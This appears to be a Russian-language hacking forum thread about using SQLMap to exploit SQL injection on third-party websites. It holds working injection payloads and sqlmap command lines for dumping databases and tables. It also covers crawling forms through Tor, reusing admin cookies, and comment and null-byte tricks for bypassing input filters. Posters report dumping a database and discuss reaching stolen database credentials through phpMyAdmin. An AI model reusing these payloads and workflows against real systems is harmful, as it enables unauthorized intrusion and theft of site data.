Вопросы по SQLMap

Discussion in 'Уязвимости' started by randman, 1 Oct 2015.

  1. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Возможно ли в Sqlmap сразу задать для целевого сайта готовый payload? Почитав руководство, ничего по этому поводу не нашёл, а было бы неплохо запустить сразу с параметром нужного пайлоада и сразу же приступить к раскрутке, и не ждать несколько часов, пока он его будет перебирать.
     
    #141 Грабитель, 4 Mar 2016
    Last edited: 4 Mar 2016
  2. Waki

    Waki Member

    Joined:
    9 Oct 2015
    Messages:
    55
    Likes Received:
    31
    Reputations:
    10
    можно указать какую базу использовать (--dbms), и тип уязвимости (--technique)
    работу по готовому пайлоду не находил
     
    Грабитель likes this.
  3. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    К сожалению, не то. Есть однотипные SQL иньекции в одном движке, но чтобы каждый URL засунуть в sqlmap, приходится ждать по нескольку часов пока он подберет под него тот же самый payload.
    Пока что использую подмену url в sqlite файле для конкретного сайта в sqlmap, и думал может быть есть способ менее геморный... но видимо нету.

    Ещё вопрос, столкнулся с непонятной вещью, когда из таблицы не получается извлечь никаких данных.
    Вытаскиваю все базы данных, успешно вытаскиваются. Дальше вытаскиваю таблицы для конкретной базы данных, они тоже прекрасно вытаскиваются.
    Но если я пытаюсь получить хоть какую то информацию из таблицы, то sqlmap не может ничего получить.
    Банальный запрос --sql-query="select count(*) from my_database._my_table" и выдаёт ошибку:
    Code:
    [10:51:05] [INFO] retrieved:
    [10:51:09] [WARNING] reflective value(s) found and filtering out
    [10:51:24] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
    [10:52:30] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
    [10:52:34] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
    
    select count(*) from my_database._my_table: None
    
    При этом все остальные запросы по типу select version() и так далее выполняются нормально, а при попытке получить информацию из таблицы или хотя бы количество записей, вот такая ошибка выскакивает.
     
  4. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Хмм, серьёзно, интересно. Запрос "select version()" выполняется нормально и выводит версию, а такой запрос: "select version() from information_schema.tables" возвращает none
    На многих сайтах. И count(*) from base.table не срабатывает, так же выплёвывает или none или ошибки, если кто поможет, буду безумно рад.
     
  5. demontager

    demontager New Member

    Joined:
    23 Jul 2009
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    После скана сайта на уязвимость, выдало такую инфу.
    Code:
    sqlmap identified the following injection point(s) with a total of 275 HTTP(s) requests:
    ---
    Parameter: email (POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
        Payload: mailFlag=newsletter&email=QWln' AND (SELECT 5736 FROM(SELECT COUNT(*),CONCAT(0x716a717a71,(SELECT (ELT(5736=5736,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Jdzw'='Jdzw
    ---
    web application technology: PHP 5.3.29
    back-end DBMS: MySQL 5.0
    и в target.txt такое
    Code:
    https://www.site.com/index.php?option=sentMail (POST)
    
    mailFlag=newsletter&email=QWln
    Как дальше раскручивать чтобы получить таблицы ? Интересует сам запрос sqlmap.py -u "" и что указывать.
     
  6. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    Code:
    -u "https://www.site.com/index.php?option=sentMail" --data="mailFlag=newsletter&email=1*" --dbs --tables
     
    _________________________
    GoodBoy, BabaDook and demontager like this.
  7. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    Code:
    -u "site.ru/v2-live-with-a-5-1-win*" --dbs
     
    _________________________
  8. demontager

    demontager New Member

    Joined:
    23 Jul 2009
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    Почему вместо
    Code:
    mailFlag=newsletter&email=QWln
    подставляется в POST
    Code:
    mailFlag=newsletter&email=1*
    p.s. Базу сдампить вышло.
     
  9. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Code:
    mailFlag=newsletter&email=QWln
    подставляется в POST
    Code:
    mailFlag=newsletter&email=1*
    можно так
    mailFlag=newsletter&email=*
     
  10. demontager

    demontager New Member

    Joined:
    23 Jul 2009
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    А как можно искать уязвимости GET запросами ? Если в качестве цели указывать корневой URL. Допустим, если POST запросы, то я так делаю
    Code:
    sqlmap.py -u "site.com" --forms --crawl=3 --random-agent --tor --batch
    И он сам уже ищет все доступные формы и пробует их на уязвимость.
     
  11. powerOfthemind

    powerOfthemind New Member

    Joined:
    31 Jul 2015
    Messages:
    41
    Likes Received:
    4
    Reputations:
    1
    Такой вопрос(ответа ненашол).Допустим имею доступ в админку сайта, можно её просканировать sqlmap на наличие иньекций, то есть можно ли авторизироватся через sqlmap в админке и начать поиск?

    P.S посетила мысль что надо авторизироватся в браузере,взять куки и вставить их в sqlamp. Правельно я мыслю?Если да, то подскажите какими командами это можно сделать.
     
  12. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    python sqlmap.py --help | grep cookie

    --cookie=COOKIE HTTP Cookie header value
     
    _________________________
  13. .Light.

    .Light. Member

    Joined:
    12 Jul 2010
    Messages:
    194
    Likes Received:
    5
    Reputations:
    0
    есть Blind иньекция, расскручивается очень долго!Можно какнибудь ускорить процесс? кроме --threads 10?
     
    #153 .Light., 20 Mar 2016
    Last edited: 21 Mar 2016
  14. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    я бы лучше вместо --threads 10 сделал --delay 1, так как при большом количестве запросов есть немаленькая вероятность что тебя забанят, а то и багу прикроют
    для sqlmap не нашел плагинов для ускорения блинда(
    а так есть например ветка https://forum.antichat.ru/threads/119047/(где то на рдоте вроде ещё был топик), нужный вектор можно заскриптовать
     
    _________________________
  15. .Light.

    .Light. Member

    Joined:
    12 Jul 2010
    Messages:
    194
    Likes Received:
    5
    Reputations:
    0
    Вытащил с сайта config.php в нем есть данные подключения к БД.Но в поле хост "localhost" как можно подключиться к такой бд удаленно?
     
  16. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    237
    Likes Received:
    155
    Reputations:
    0
    1й вариант - Сбрутить директорию на вхождение phpMyAdmin - залогиниться.
    2й вариант - Набрать в cmd.exe ping ВАШ_ДОМЕН, узнали IP сервера - попробывали удаленно подключиться к mysql (не забываем port :3306 (обычно по дефолтку такой) ), подключиться можно с другого шелла.
    3й вариант - узнать хостера, в гугле вбить его домен и префикс phpmyadmin (хостер дает общий доступ к phpmyadmin )
    4й вариант - если vds то смотреть по дефолт url нахождения phpmyadmin.

    + МОЙ ВОПРОС

    Уважаемые. Через sqlmap удалось раскрутить инъекцию. Вставил payload в браузер, все отлично выводится (DATABASE() и тп).
    Пробую чекнуть на DBs и тп - не получается.

    Потом понял что сам движок заменяет нижнее подчеркивание на символ запятая ( _ => ,) . Т.е никакие запросы с information_schema и тп не пройдут - отсюда и sqlmap ничего сделать не может (скриншот №1). Перевел в --sql-shell, пробую и такое (скриншот №2). Можно что придумать? Cпасибо.

    ps. payload такой index.php?id=93) AND EXTRACTVALUE(1660,CONCAT(0x5c,0x71707a7671,(SELECT MID((DATABASE()),1,50)),0x716a627171)) AND (1749=1749

    [​IMG]

    [​IMG]
     
    #156 ol1ver, 27 Mar 2016
    Last edited: 28 Mar 2016
    .Light. likes this.
  17. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    "2й вариант - Набрать в cmd.exe ping ВАШ_ДОМЕН, узнали IP сервера - попробывали удаленно подключиться к mysql (не забываем port :3306 (обычно по дефолтку такой) ), подключиться можно с другого шелла." не факт что сработает, в конфиге же указано локалхост

    про обход _ ничего не нашел, как вариант брутить таблицы руками
    ещё советую попробовать добавить в запрос /*%00*/ или /*%0A*/ /*%0B*/ /*%0C*/ - может дурацкий реплейс завалится и не заменит _
     
    _________________________
  18. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    237
    Likes Received:
    155
    Reputations:
    0
    Это на уровне движка замена идёт, смотрел код исходный
     
  19. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    так и? оперторы замены/регулярки не всегда корректно отработают если есть символы переноса или нулл байт, проверьте /*%00*/ /*%0A*/ в запросе, это ведь не долго :)
    ну то есть что то типа того
    select /*%00*/table_name from information_schema.tables limit 1;
     
    _________________________
  20. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    237
    Likes Received:
    155
    Reputations:
    0
    нет, не получается.